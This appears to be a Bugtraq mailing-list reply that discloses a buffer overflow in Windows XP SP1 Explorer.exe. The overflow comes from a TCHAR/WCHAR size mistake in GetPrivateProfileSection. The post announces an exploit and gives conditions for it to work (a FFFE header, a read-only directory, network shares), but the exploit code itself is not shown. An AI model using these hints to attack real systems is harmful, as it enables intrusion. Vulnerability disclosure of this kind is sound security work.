Subject: Re[2]: EXPLOIT: Buffer overflow in Explorer.exe on Windows XP SP1


hello bugtraq,

>From MSDN:
---cut---
DWORD GetPrivateProfileSection(
  LPCTSTR lpAppName,
  LPTSTR lpReturnedString,
  DWORD nSize,
  LPCTSTR lpFileName
);
[skip]
nSize
[in] Size of the buffer pointed to by the lpReturnedString parameter, in TCHARs. 
Windows 95/98/Me: The maximum buffer size is 32,767 characters.
---cut---

It's a pity that even own Microsoft programmers do not know that for
the unicode version of the function TCHAR will turn into a WCHAR.
And we speak about using unicode everywhere..


Here is an exploit for Windows XP Service Pack 1.
NOTE: the FFFE header which can be easily created with notepad is not
a new technique. It has been already used for another vulnerability in
IE (see http://security.nnov.ru/search/news.asp?binid=1782).
NOTE: the directory "domain HELL team" has to be read-only, otherwise
it won't work.
NOTE: it's possible to exploit this bug using a network shared
resource. It looks strange, but that doesn't work for samba shares.
P.S. don't blame me i didn't use argv[] for parameters. it's your
task to modify the source..

ES> Obviously, I was playing in the ANSI world. Yes, I agree with you that the

ES> Thanks a lot for your mention of BOM and UTF-16. Your concept is learnt and
